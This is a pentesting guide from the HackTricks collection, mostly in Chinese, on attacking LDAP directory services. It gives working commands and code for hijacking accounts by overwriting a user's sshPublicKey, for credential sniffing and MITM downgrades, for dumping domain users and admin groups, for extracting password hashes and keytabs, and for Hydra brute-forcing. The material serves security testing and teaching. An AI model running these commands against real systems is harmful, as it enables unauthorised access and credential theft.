hacktricks/network-services-pentesting/pentesting-ldap.md

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# 389, 636, 3268, 3269 - Pentesting LDAP
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<details>
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</details>
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## 基本信息
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提取自:[https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
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LDAP轻量级目录访问协议是一种软件协议用于使任何人能够在网络上无论是公共互联网还是企业内部网络**定位**组织、个人和其他**资源**如文件和设备。LDAP是目录访问协议DAP的“轻量级”代码量较小版本。
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LDAP目录可以在多个服务器之间**分布**。每个服务器可以有一个**复制**的总目录版本,定期进行**同步**。LDAP服务器称为目录系统代理DSA。接收用户请求的LDAP服务器负责处理请求并在必要时将其传递给其他DSA但确保为用户提供单一协调的响应。
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LDAP目录以简单的“树”层次结构组织包括以下级别
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* 根目录(树的起始位置或源),分支到
* 国家,每个国家分支到
* 组织,分支到
* 组织单位(部门、部门等),分支到(包括一个条目)
* 个人(包括人员、文件和共享资源,如打印机)
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**默认端口:**389和636ldaps。全局目录ActiveDirectory中的LDAP默认在端口3268上提供LDAPS默认在端口3269上提供。
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
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### LDAP数据交换格式
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LDIFLDAP数据交换格式将目录内容定义为一组记录。它还可以表示更新请求添加、修改、删除、重命名
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
```
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* 第1-3行定义了顶级域local。
* 第5-8行定义了一级域moneycorpmoneycorp.local
* 第10-16行定义了2个组织单位dev和sales。
* 第18-26行创建了一个域对象并分配了带有值的属性。
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## 写入数据
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请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您**可以更改您的用户或任何用户的"sshPublicKey"信息**。很有可能,如果存在此属性,则**ssh正在从LDAP中读取公钥**。如果您可以修改用户的公钥即使在ssh中未启用密码身份验证您**仍然可以作为该用户登录**。
```bash
>>> import ldap3
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>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
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>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
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## 嗅探明文凭证
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如果LDAP在没有SSL的情况下使用你可以在网络中**嗅探到明文凭证**。
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此外你可以在LDAP服务器和客户端之间的网络中进行**中间人攻击MITM**。在这里,你可以进行**降级攻击**,使客户端使用**明文凭证**进行登录。
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**如果使用SSL**你可以尝试进行类似上述提到的MITM攻击但提供一个**伪造的证书**,如果**用户接受**它,你就能够降级认证方法并再次查看凭证。
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## 匿名访问
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### 绕过TLS SNI检查
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根据[**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)只需使用任意域名如company.com访问LDAP服务器他就能够以匿名用户的身份联系LDAP服务并提取信息。
```bash
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ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
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### LDAP匿名绑定
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[LDAP匿名绑定](https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)允许**未经身份验证的攻击者**从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一种**传统配置**从Windows Server 2003开始只有经过身份验证的用户才能发起LDAP请求。 \
然而,管理员可能需要**设置特定应用程序以允许匿名绑定**并提供了超出预期访问权限的访问从而使未经身份验证的用户可以访问AD中的所有对象。
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## 有效凭据
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如果您有有效的凭据登录LDAP服务器可以使用以下命令转储有关域管理员的所有信息
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[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
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```bash
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pip3 install ldapdomaindump
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ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
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```
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### [暴力破解](../generic-methodologies-and-resources/brute-force.md#ldap)
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## 枚举
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### 自动化
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使用此方法,您将能够查看**公开信息**(如域名)****
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```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
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### Python
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<details>
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<summary>使用Python进行LDAP枚举</summary>
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您可以尝试使用Python进行LDAP枚举无论是否使用凭据`pip3 install ldap3`
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首先尝试**无凭据**连接:
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```bash
>>> import ldap3
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>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
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>>> connection.bind()
True
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>>> server.info
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```
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如果响应是`True`就像前面的例子一样你可以从LDAP服务器获取一些**有趣的数据**(比如**命名上下文**或**域名**
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```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
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Naming contexts:
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dc=DOMAIN,dc=DOMAIN
```
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一旦你获得了命名上下文,你可以进行一些更加有趣的查询。这个简单的查询应该会显示目录中的所有对象:
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```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
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或者**转储**整个ldap
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```bash
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>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
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```
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</details>
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### windapsearch
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[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个有用的Python脚本通过利用LDAP查询来枚举Windows域中的用户、组和计算机。
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```bash
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# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
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```
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### ldapsearch
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检查空凭证或验证您的凭证是否有效:
```bash
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ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
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# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
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tion a successful bind must be completed on the connection., data 0, v3839
```
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如果你发现有关"_bind必须完成_"的内容,意味着凭证是不正确的。
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你可以使用以下方法提取**域中的所有内容**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
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-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
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提取**用户**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
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提取 **计算机**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取**我的信息**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取 **域管理员**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取**域用户**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取**企业管理员**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取 **Administrators**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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提取**远程桌面组**
```bash
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ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
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要查看是否有访问任何密码的权限您可以在执行其中一个查询后使用grep命令
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
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请注意,您在这里找到的密码可能不是真实的...
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#### pbis
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您可以从这里下载**pbis**[https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/),它通常安装在`/opt/pbis`目录下。\
**Pbis**允许您轻松获取基本信息:
```bash
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#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
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#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
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#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
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echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
```
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## 图形界面
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### Apache Directory
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[**从这里下载Apache Directory**](https://directory.apache.org/studio/download/download-linux.html)。你可以在[这里找到如何使用这个工具的示例](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s)。
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### jxplorer
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你可以在这里下载带有LDAP服务器的图形界面[http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
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默认情况下它安装在_/opt/jxplorer_
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![](<../.gitbook/assets/image (22) (1).png>)
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## 通过Kerberos进行身份验证
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使用`ldapsearch`命令,你可以通过使用参数`-Y GSSAPI`来**使用Kerberos进行身份验证**,而不是通过**NTLM**进行身份验证。
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## POST
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如果你可以访问包含数据库的文件可能在_/var/lib/ldap_中你可以使用以下命令提取哈希值
```bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
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你可以将密码哈希值输入给John从'{SSHA}'到'structural',不包括'structural')。
### 配置文件
* 通用
* containers.ldif
* ldap.cfg
* ldap.conf
* ldap.xml
* ldap-config.xml
* ldap-realm.xml
* slapd.conf
* IBM SecureWay V3 服务器
* V3.sas.oc
* Microsoft Active Directory 服务器
* msadClassesAttrs.ldif
* Netscape Directory Server 4
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* nsslapd.sas\_at.conf
* nsslapd.sas\_oc.conf
* OpenLDAP 目录服务器
* slapd.sas\_at.conf
* slapd.sas\_oc.conf
* Sun ONE Directory Server 5.1
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* 75sas.ldif
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## HackTricks 自动命令
```
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Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
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https://book.hacktricks.xyz/pentesting/pentesting-ldap
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Entry_2:
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Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
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Entry_3:
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Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
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Entry_4:
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Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
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Entry_5:
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Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
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Entry_6:
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Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
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```
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<details>
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</details>